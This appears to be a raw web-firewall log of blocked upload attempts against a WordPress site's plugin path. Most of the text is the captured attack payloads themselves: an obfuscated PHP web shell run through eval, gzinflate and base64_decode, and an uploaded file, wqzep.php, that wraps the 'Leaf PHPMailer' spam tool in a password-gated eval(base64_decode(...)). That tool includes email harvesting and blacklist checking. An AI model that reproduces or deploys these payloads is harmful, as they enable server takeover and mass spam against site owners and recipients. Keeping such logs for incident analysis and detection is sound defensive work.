JOWVArZGFseXJ6T2xvYURMd3NpNXpySUhzazYwcFYxOEw1MndGMTFPWERrYmNYQWV6QlNqa29FWkpEcDE4YitOa3QxdXVIeHU2Q2dDMG5mbDhzZDIvOEtGUnlUZEJ0NmZXZ1lMNUJYNzZxeFI0LzkxeW1qQlRaRHo4T2tKSCtsd3pucytJYXdiVEFGQ1cxV2l0RUU4SlR6SkMxUkZsTzcwdGlmRWVCRXU0M3pzb1p3NlpYY3JBMU1HeHZnRjdNQmNYdjF2TVgzSWE1V2NMMjdyeEZkS09iMWNQM1JBMzRIUXpGK3B3Y3UwQjUvOXQ5RmR6WFZNeG53NGt5UzVZL0tHVHdoL05XMW01bUpodDlSa1Z2eFh3M0RKSTNFWnA3eUoxVXo4dTdpblhmaXNQTGc4MnI0ZThvVS9Xck9aUjRlcGZ4U1dkZWlHVEFaK01MSWRFc3o3RE1WZVduSkdza3YzSUZhTzN5TVd0WmRpWUw3Y0tjVWZXTVRkdnc0akU3dFB2aUVTY1FjOUJPOFdUZityUGQxRnJiVERRL3hqLzRBOVRmdDRJUmd0eU4zMC84WEFpbzJQMTlEckZZWTN2Y2x1Rm5ndjA3dDNGbm4xMzhxenh2Rk8vWGYrT2lRUU0zWU1hU0gvNHlmWDUyVy9BQ1Bsci84enNodmZ0dlFqMHY3YnV0ZHlQV2liNktsRzROZi9JblU0TVBPc2ZVUm4wWXI2VnBiL3B2UmtxbWYyRklZNzB1eEVtcGZZOHQvYXJsZFdmRWdqTDM2SUJHenNRS2U5UFJUc09ieG1yb2QrcnVvamFhYUpFekMybjl1aGMvcksyTXYzKzc2VkhaY2VaTzN2TkV1akc0YWtSTGRhNEo3S0laS2ViLzdUVk1ZVDNsM1Q5Y2tBOHc5NStjLzJIMzRkKzVJTUp6L3hYejBBdndLTkh1TlR2VDVoQnNUZi85YmJKVFRwWUZ4SE92NjNyL08wci9weHl6Mlo0SGZUTjQwTlRXWWVyMkNGN01LejJEZmZLZGVkRDNkMS8rekVWbFhXdXluUGJvZUk3OUgzdi9oTzI5ZFBicFA0N0pFUFJ5cUg0KzhiS1NMbTNyVnI0bitseUlsaysra1hTbHhpc3ljMnlldnpYRU9lcnN6K1JENFcwN2p0djB0RVMvNlQ2cXA1ditiSGJrbjlkTkFPK3ZwR2VrcnVDN3piVkU3a0VaenhlNENYLysrbmhTMjRsL2FXZU1PR2h3dGxkTjdHekdzNEgrNXlPSjMrZEhVc25qazVNTHZlMlQ2NGtyRytvV0YrR2ZvOXd2L3lUWmRZdmd6bEhpeldWUjJaaU5rN3h2OUIrMGhOVTlBc2YvNGFLVVpiclZkOEtwV1Z5aGZMT2JLVjRqYlJjeTBFaExiZTNZSTJ1UUUySmJjTmY0ZXB5VlN4cDQvOHV6b0pJT3haSjFHL3pQU0ZPbUdMQ1RnUUtXWlF3THhhUWE3dE9rRlpJa0dSOGVKZnY0VjhMbjRTbVIvN0xLT08wb2l3T2tubmVvMzcvY2k5Z0ZBajQ2cEZRditqRXgyWkxFeTFBRk5qY3lkaUkwSHpCSWYrcEIzWE1JU2hBSEQrdnduelBSUUVtRk9JM3U5dVRsSG9odW52RlZUaEduSlIzNzluLy84TjI3UXZkZDM2LzM2L3ZzZzhwdjU1Zit1NE1GLzhMY0pqc2pIMndETjV4OWR3LytTODA1YURWTTB3MS9OdlRScHAxY2VSYVFkTDBrdTNrWE9GRUpjOXZQaDFPUDd1bWlRcmJxNzZCRzd1Z0taYXFYTmZuSHlvbDc5aVcrU3V1T3A4WTZONjltM1g5dW52OC92MnZ2NVZuYy9mLy9kdDMvc0hVQi8vVy8veDlFVDYvS2NDOXovbC8wLzVmV1RGRWFsNTQvM3ovL3lPR2padnNpWHgvdnovL2wrLy84Ly85L3Z4L3Y2Ly8wVlZ6L0gvdjdIY3dCRGNJY0dhMjk3NXRxUFVuWmliU1lyNG83VFFZTGFaOWgvbHdxcm9GMFQyb0pGaldlR2JOMDNueHAyVWlESnppc0gxTFRjaTNmd0Q0REE4SDhBK0FBIjsKZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc3R0MSkpKSk7Cg==\"));\r\n--8c60f0908fc0535ee7abde6c5a4bb1ef\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--8c60f0908fc0535ee7abde6c5a4bb1ef\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--8c60f0908fc0535ee7abde6c5a4bb1ef\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--8c60f0908fc0535ee7abde6c5a4bb1ef--\r\n"]
["2026-04-13 10:29:20","104.219.42.67","POST","\/wp-content\/plugins\/dyeja\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/dyeja\/index.php HTTP\/1.1\npriority:u=0, i\ncontent-type:multipart\/form-data; boundary=606de2a75021cc812c3ec25082280d87\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-length:222320\nsec-fetch-dest:document\nconnection:keep-alive\n\n--606de2a75021cc812c3ec25082280d87\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--606de2a75021cc812c3ec25082280d87\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--606de2a75021cc812c3ec25082280d87\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"wqzep.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\n$password = \"xleeeeet\"; \/\/ MaILER Password \n\n\neval (base64_decode(\"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgcHJpbnQgIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiI7CiAgICAgICAgZXhpdDsgICAgICAgIAogICAgfQp9CgpzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CgoKZnVuY3Rpb24gbGVhZkNsZWFyKCR0ZXh0LCRlbWFpbCl7CgkkZSA9IGV4cGxvZGUoJ0AnLCAkZW1haWwpOwoJJGVtYWlsdXNlcj0kZVswXTsKCSRlbWFpbGRvbWFpbj0kZVsxXTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstdGltZS1dIiwgZGF0ZSgibS9kL1kgaDppOnMgYSIsIHRpbWUoKSksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWwtXSIsICRlbWFpbCwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1lbWFpbHVzZXItXSIsICRlbWFpbHVzZXIsICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWxkb21haW4tXSIsICRlbWFpbGRvbWFpbiwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21sZXR0ZXJzLV0iLCByYW5kU3RyaW5nKCdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eicpLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbXN0cmluZy1dIiwgcmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbnVtYmVyLV0iLCByYW5kU3RyaW5nKCcwMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbWQ1LV0iLCBtZDUocmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JykpLCAkdGV4dCk7CiAgICByZXR1cm4gJHRleHQ7ICAKfQpmdW5jdGlvbiBsZWFmVHJpbSgkc3RyaW5nKXsKCSRzdHJpbmc9dXJsZGVjb2RlKCRzdHJpbmcpOwogICAgcmV0dXJuIHN0cmlwc2xhc2hlcyh0cmltKCRzdHJpbmcpKTsKfQpmdW5jdGlvbiByYW5kU3RyaW5nKCRjb25zb25hbnRzKSB7CiAgICAkbGVuZ3RoPXJhbmQoMTIsMjUpOwogICAgJHBhc3N3b3JkID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRwYXNzd29yZCAuPSAkY29uc29uYW50c1socmFuZCgpICUgc3RybGVuKCRjb25zb25hbnRzKSldOwogICAgfQogICAgcmV0dXJuICRwYXNzd29yZDsKfQpmdW5jdGlvbiBsZWFmTWFpbENoZWNrKCRlbWFpbCl7CiAgICBpZiAoZmlsdGVyX3ZhcigkZW1haWwsIEZJTFRFUl9WQUxJREFURV9FTUFJTCkpIHJldHVybiB0cnVlOwogICAgZWxzZSByZXR1cm4gZmFsc2U7Cn0KIyBCdWxpdC1pbiBCbGFja0xpc3QgQ2hlY2tlciAKaWYoaXNzZXQoJF9HRVRbJ2NoZWNrX2lwJ10pKXsKICAgIGlmIChpc3NldCgkX0dFVFsnaG9zdCddKSl7CiAgICAgICAgJF9HRVRbJ2hvc3QnXT1leHBsb2RlKCIsIiwgJF9HRVRbJ2hvc3QnXSk7CiAgICAgICAgZm9yZWFjaCAoJF9HRVRbJ2hvc3QnXSBhcyAkaG9zdCkgewogICAgICAgICAgICBpZiAoY2hlY2tkbnNycigkX0dFVFsnY2hlY2tfaXAnXSAuICIuIiAuICAkaG9zdCAuICIuIiwgIkEiKSkgJGNoZWNrPSAiPGZvbnQgY29sb3I9J3JlZCc+IExpc3RlZDwvZm9udD4iOwogICAgICAgICAgICBlbHNlICRjaGVjaz0gIjxmb250IGNvbG9yPSdncmVlbic+IENsZWFuPC9mb250PiI7CiAgICAgICAgICAgIHByaW50ICdkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiJy4gJGhvc3QuJyIpLmlubmVySFRNTCA9ICInLiRjaGVjay4nIjsnOwogICAgICAgIH0KCiAgICAgICAgZXhpdDsKICAgIH0KICAgICRkbnNibF9sb29rdXAgPSBbCiAgICAgICAgImFsbC5zNWgubmV0IiwKICAgICAgICAiYi5iYXJyYWN1ZGFjZW50cmFsLm9yZyIsCiAgICAgICAgImJsLnNwYW1jb3AubmV0IiwKICAgICAgICAiYmxhY2tsaXN0Lndvb2R5LmNoIiwKICAgICAgICAiYm9nb25zLmN5bXJ1LmNvbSIsCiAgICAgICAgImNibC5hYnVzZWF0Lm9yZyIsCiAgICAgICAgImNkbC5hbnRpLXNwYW0ub3JnLmNuIiwKICAgICAgICAiY29tYmluZWQuYWJ1c2UuY2giLAogICAgICAgICJkYi53cGJsLmluZm8iLAogICAgICAgICJkbnNibC0xLnVjZXByb3RlY3QubmV0IiwKICAgICAgICAiZG5zYmwtMi51Y2Vwcm90ZWN0Lm5ldCIsCiAgICAgICAgImRuc2JsLTMudWNlcHJvdGVjdC5uZXQiLAogICAgICAgICJkbnNibC5hbnRpY2FwdGNoYS5uZXQiLAogICAgICAgICJkbnNibC5kcm9uZWJsLm9yZyIsCiAgICAgICAgImRuc2JsLmlucHMuZGUiLAogICAgICAgICJkbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJkcm9uZS5hYnVzZS5jaCIsCiAgICAgICAgImR1aW52LmF1cGFkcy5vcmciLAogICAgICAgICJkdWwuZG5zYmwuc29yYnMubmV0IiwKICAgICAgICAiZHluYS5zcGFtcmF0cy5jb20iLAogICAgICAgICJkeW5pcC5yb3RoZW4uY29tIiwKICAgICAgICAiaHR0cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJpcHMuYmFja3NjYXR0ZXJlci5vcmciLAogICAgICAgICJpeC5kbnNibC5tYW5pdHUubmV0IiwKICAgICAgICAia29yZWEuc2VydmljZXMubmV0IiwKICAgICAgICAibWlzYy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJub3B0ci5zcGFtcmF0cy5jb20iLAogICAgICAgICJvcnZlZGIuYXVwYWRzLm9yZyIsCiAgICAgICAgInBibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJwcm94eS5ibC5nd2VlcC5jYSIsCiAgICAgICAgInBzYmwuc3VycmllbC5jb20iLAogICAgICAgICJyZWxheXMuYmwuZ3dlZXAuY2EiLAogICAgICAgICJyZWxheXMubmV0aGVyLm5ldCIsCiAgICAgICAgInNibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJzaG9ydC5yYmwuanAiLAogICAgICAgICJzaW5ndWxhci50dGsucHRlLmh1IiwKICAgICAgICAic210cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzb2Nrcy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzcGFtLmFidXNlLmNoIiwKICAgICAgICAic3BhbS5kbnNibC5hbm9ubWFpbHMuZGUiLAogICAgICAgICJzcGFtLmRuc2JsLnNvcmJzLm5ldCIsCiAgICAgICAgInNwYW0uc3BhbXJhdHMuY29tIiwKICAgICAgICAic3BhbWJvdC5ibHMuZGlnaWJhc2UuY2EiLAogICAgICAgICJzcGFtcmJsLmltcC5jaCIsCiAgICAgICAgInNwYW1zb3VyY2VzLmZhYmVsLmRrIiwKICAgICAgICAidWJsLmxhc2hiYWNrLmNvbSIsCiAgICAgICAgInVibC51bnN1YnNjb3JlLmNvbSIsCiAgICAgICAgInZpcnVzLnJibC5qcCIsCiAgICAgICAgIndlYi5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJ3b3JtcmJsLmltcC5jaCIsCiAgICAgICAgInhibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJ6Lm1haWxzcGlrZS5uZXQiLAogICAgICAgICJ6ZW4uc3BhbWhhdXMub3JnIiwKICAgICAgICAiem9tYmllLmRuc2JsLnNvcmJzLm5ldCIsCiAgICBdOwogICAgJHJldmVyc2VfaXAgPSBpbXBsb2RlKCIuIiwgYXJyYXlfcmV2ZXJzZShleHBsb2RlKCIuIiwgJF9HRVRbJ2NoZWNrX2lwJ10pKSk7CiAgICAkZG5zVCA9IGNvdW50KCRkbnNibF9sb29rdXApOwogICAgbGVhZmhlYWRlcigpOwogICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNiI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkJsYWNrbGlzdCBDaGVja2VyPC9zbWFsbD48L2gzPic7CiAgICBQcmludCAiQ2hlY2tpbmcgPGI+Ii4kX0dFVFsnY2hlY2tfaXAnXS4iPC9iPiBpbiA8Yj4kZG5zVDwvYj4gIGFudGktc3BhbSBkYXRhYmFzZXM6PGJyPiI7CiAgICAkZG5zTj0iIjsKICAgIHByaW50ICc8dGFibGUgPic7CiAgICBmb3IgKCRpPTA7ICRpIDwgJGRuc1Q7ICRpPSRpKzEwKSB7IAogICAgICAgICRob3N0PSIiOwogICAgICAgICRob3N0cz0iIjsKICAgICAgICBmb3IoJGo9JGk7ICRqPCRpKzEwOyRqKyspewogICAgICAgICAgICAkaG9zdD0kZG5zYmxfbG9va3VwWyRqXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRob3N0KSl7CiAgICAgICAgICAgICAgICBwcmludCAiPHRyPiA8dGQ+JGhvc3Q8L3RkPiA8dGQgaWQ9JyRob3N0Jz5DaGVja2luZyAuLjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgJGhvc3RzIC49IiRob3N0LCI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGRuc04uPSI8c2NyaXB0IHNyYz0nP2NoZWNrX2lwPSRyZXZlcnNlX2lwJmhvc3Q9Ii4kaG9zdHMuIicgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz48L3NjcmlwdD4iOwogICAgfQoKICAgIHByaW50ICc8L3RhYmxlPjwvZGl2Pic7CiAgICBwcmludCAkZG5zTjsKICAgIGV4aXQ7Cn0KaWYoaXNzZXQoJF9HRVRbJ2VtYWlsZmlsdGVyJ10pKXsKCiAgICBpZighZW1wdHkoJF9GSUxFU1snZmlsZVRvVXBsb2FkJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkX1BPU1RbJ2VtYWlsTGlzdCddPSBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsidG1wX25hbWUiXSk7IAogICAgfQogICAgJF9QT1NUWydlbWFpbExpc3QnXT1zdHJ0b2xvd2VyKCRfUE9TVFsnZW1haWxMaXN0J10pOwogICBpZigkX0dFVFsnZW1haWxmaWx0ZXInXT09ImlmcmFtIil7CiAgICAgICAgaWYgKCRfUE9TVFsncmVzdWx0dHlwZSddID09ICJkb3dubG9hZCIpewogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXIiKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZW1haWxzIi50aW1lKCkuIi50eHQiKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CiAgICAgICAgfQogICAgaWYoJF9QT1NUWydzdWJtaXQnXT09ImV4dHJhY3QiKXsKICAgICAgICAkcGF0dGVybiA9ICcvW0EtWmEtejAtOS5fJSstXStAW0EtWmEtejAtOS4tXStcLltBLVphLXpdezIsNH0vJzsKICAgICAgICBwcmVnX21hdGNoX2FsbCgkcGF0dGVybiwgJF9QT1NUWydlbWFpbExpc3QnXSwgJG1hdGNoZXMpOwogICAgICAgIGZvcmVhY2ggKCRtYXRjaGVzWzBdIGFzICRlbWFpbCkgewogICAgICAgICAgICBwcmludCAkZW1haWwuIlxuIjsKICAgICAgICB9CiAgICB9CiAgICBlbHNlaWYgKCRfUE9TVFsnc3VibWl0J109PSJmaWx0ZXIiKSB7CiAgICAgICAgJGVtYWlscz1leHBsb2RlKCJcbiIsICRfUE9TVFsnZW1haWxMaXN0J10pOwogICAgICAgICRrZXl3b3Jkcz1leHBsb2RlKCJcbiIsIHN0cnRvbG93ZXIoJF9QT1NUWydrZXl3b3JkcyddKSk7CiAgICAgICAgZm9yZWFjaCAoJGVtYWlscyBhcyAkZW1haWwpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGtleXdvcmRzIGFzICRrZXl3b3JkICkgewogICAgICAgICAgICAgICAgaWYoc3Ryc3RyKCRlbWFpbCwgJGtleXdvcmQpICl7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgJGVtYWlsLiJcbiI7CiAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICB9CiAgICBleGl0OwogICB9CiAgIGxlYWZoZWFkZXIoKTsKICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNCI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkVtYWlsIEZpbHRlcjwvc21hbGw+PC9oMz4nOwogICBwcmludCAnCiAgICA8Zm9ybSBhY3Rpb249Ij9lbWFpbGZpbHRlcj1pZnJhbSIgbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Im15LWlmcmFtZSIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgb25zdWJtaXQ9XCdcJz4KICAgICAgICA8bGFiZWwgZm9yPSJlbWFpbExpc3QiPlRleHQgPC9sYWJlbD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZVRvVXBsb2FkIiBpZD0iZmlsZVRvVXBsb2FkIj4gCiAgICAgICAgb3IKCiAgICAgICAgPHRleHRhcmVhIG5hbWU9ImVtYWlsTGlzdCIgaWQ9ImVtYWlsTGlzdCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNyIgaWQ9InRleHRBcmVhIj48L3RleHRhcmVhPgogICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPgogICAgICAgIDxkaXYgY2xhc3M9InJhZGlvIj4KICAgICAgICAgIDxsYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJyZXN1bHR0eXBlIiBpZD0icmVzdWx0dHlwZSIgdmFsdWU9ImhlcmUiIGNoZWNrZWQ9IiI+CiAgICAgICAgICAgIFNob3cgUmVzdWx0IGluIHRoaXMgcGFnZQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJyYWRpbyI+CiAgICAgICAgICA8bGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmVzdWx0dHlwZSIgaWQ9InJlc3VsdHR5cGUiIHZhbHVlPSJkb3dubG9hZCI+CiAgICAgICAgICAgIERvd25sb2FkIFJlc3VsdCAoZm9yIGJpZyBudW1iZXJzKQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxsZWdlbmQ+PGg0PkV4dHJhY3QgRW1haWw8L2g0PjwvbGVnZW5kPgogICAgICAgICAgICBEZXRlY3RpbmcgZXZlcnkgZW1haWwgKDEwMCUpIGFuZCBvcmRlciB0aGVtIGxpbmUgYnkgbGluZSA8YnI+PGJyPgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJleHRyYWN0IiBjbGFzcz0iYnRuIGJ0bi1kZWZhdWx0IGJ0bi1zbSI+U3RhcnQ8L2J1dHRvbj4KICAgICAgICAgICAgPGxlZ2VuZD48aDQ+RmlsdGVyIEVtYWlsczwvaDQ+PC9sZWdlbmQ+CiAgICAgICAgPGxhYmVsID5LZXl3b3JkcyA8c21hbGw+IGV4OiBnbWFpbC5jb20gb3IgLmNvLnVrPC9zbWFsbD4gPC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ia2V5d29yZHMiIGlkPSJrZXl3b3JkcyIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNCIgaWQ9InRleHRBcmVhIj5nbWFpbC5jb20KaG90bWFpbC5jb20KeWFob28uY29tCi5jby51azwvdGV4dGFyZWE+PGJyPgoKICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9ImZpbHRlciIgY2xhc3M9ImJ0biBidG4tZGVmYXVsdCBidG4tc20iPlN0YXJ0PC9idXR0b24+CiAgICA8L2Zvcm0+CiAgICA8bGFiZWwgPlJlc3VsdCA8L2xhYmVsPgogICAgPGlmcmFtZSBzdHlsZT0iYm9yZGVyOm5vbmU7d2lkdGg6MTAwJTsiIG5hbWU9Im15LWlmcmFtZSIgIHNyYz0iP2VtYWlsZmlsdGVyPWlmcmFtIiA+PC9pZnJhbWU+CiAgICc7CiAgIGV4aXQ7Cgp9CiRodG1sPSJjaGVja2VkIjsKJHV0Zjg9InNlbGVjdGVkIjsKJGJpdDg9InNlbGVjdGVkIjsKCmlmKCRfUE9TVFsnYWN0aW9uJ109PSJzZW5kIiBvciAkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKCiAgICAkc2VuZGVyRW1haWw9bGVhZlRyaW0oJF9QT1NUWydzZW5kZXJFbWFpbCddKTsKICAgICRzZW5kZXJOYW1lPWxlYWZUcmltKCRfUE9TVFsnc2VuZGVyTmFtZSddKTsKICAgICRyZXBseVRvPWxlYWZUcmltKCRfUE9TVFsncmVwbHlUbyddKTsKICAgICRzdWJqZWN0PWxlYWZUcmltKCRfUE9TVFsnc3ViamVjdCddKTsKICAgICRlbWFpbExpc3Q9bGVhZlRyaW0oJF9QT1NUWydlbWFpbExpc3QnXSk7CiAgICAkbWVzc2FnZVR5cGU9bGVhZlRyaW0oJF9QT1NUWydtZXNzYWdlVHlwZSddKTsKICAgICRtZXNzYWdlTGV0dGVyPWxlYWZUcmltKCRfUE9TVFsnbWVzc2FnZUxldHRlciddKTsKICAgICRlbmNvZGluZyA9ICRfUE9TVFsnZW5jb2RlJ107CiAgICAkY2hhcnNldCA9ICRfUE9TVFsnY2hhcnNldCddOwogICAgJGh0bWw9IiI7CiAgICAkdXRmOD0iIjsKICAgICRiaXQ4PSIiOwoKICAgIGlmKCRtZXNzYWdlVHlwZT09MikgJHBsYWluPSJjaGVja2VkIjsKICAgIGVsc2UgJGh0bWw9ImNoZWNrZWQiOwoKICAgIGlmKCRjaGFyc2V0PT0iSVNPLTg4NTktMSIpICRpc289InNlbGVjdGVkIjsKICAgIGVsc2UgJHV0Zjg9InNlbGVjdGVkIjsKCiAgICBpZigkZW5jb2Rpbmc9PSI3Yml0IikgJGJpdDc9InNlbGVjdGVkIjsKICAgIGVsc2VpZigkZW5jb2Rpbmc9PSJiaW5hcnkiKSAkYmluYXJ5PSJzZWxlY3RlZCI7CiAgICBlbHNlaWYoJGVuY29kaW5nPT0iYmFzZTY0IikgJGJhc2U2ND0ic2VsZWN0ZWQiOwogICAgZWxzZWlmKCRlbmNvZGluZz09InF1b3RlZC1wcmludGFibGUiKSAkcXVvdGVkcHJpbnRhYmxlPSJzZWxlY3RlZCI7CiAgICBlbHNlICRiaXQ4PSJzZWxlY3RlZCI7CgoKCn0KaWYoJF9QT1NUWydhY3Rpb24nXT09InZpZXciKXsKCSR2aWV3TWVzc2FnZT1sZWFmVHJpbSgkX1BPU1RbJ21lc3NhZ2VMZXR0ZXInXSk7Cgkkdmlld01lc3NhZ2U9bGVhZkNsZWFyKCR2aWV3TWVzc2FnZSwidXNlckBkb21haW4uY29tIik7CglpZiAoJF9QT1NUWydtZXNzYWdlVHlwZSddPT0yKXsKCQlwcmludCAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHZpZXdNZXNzYWdlKS4iPC9wcmU+IjsKCX0KCWVsc2UgewoJCXByaW50ICR2aWV3TWVzc2FnZTsKCX0KCWV4aXQ7Cn0KCgoKaWYoIWlzc2V0KCRfUE9TVFsnc2VuZGVyRW1haWwnXSkpewogICAgJHNlbmRlckVtYWlsPSJzdXBwb3J0QCIuc3RyX3JlcGxhY2UoInd3dy4iLCAiIiwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsKICAgIGlmICghbGVhZk1haWxDaGVjaygkc2VuZGVyRW1haWwpKSAkc2VuZGVyRW1haWw9IiI7Cn0KCmNsYXNzIFBIUE1haWxlcgp7CiAgICAvKioKICAgICAqIFRoZSBQSFBNYWlsZXIgVmVyc2lvbiBudW1iZXIuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFZlcnNpb24gPSAnNS4yLjI4JzsKCiAgICAvKioKICAgICAqIEVtYWlsIHByaW9yaXR5LgogICAgICogT3B0aW9uczogbnVsbCAoZGVmYXVsdCksIDEgPSBIaWdoLCAzID0gTm9ybWFsLCA1ID0gbG93LgogICAgICogV2hlbiBudWxsLCB0aGUgaGVhZGVyIGlzIG5vdC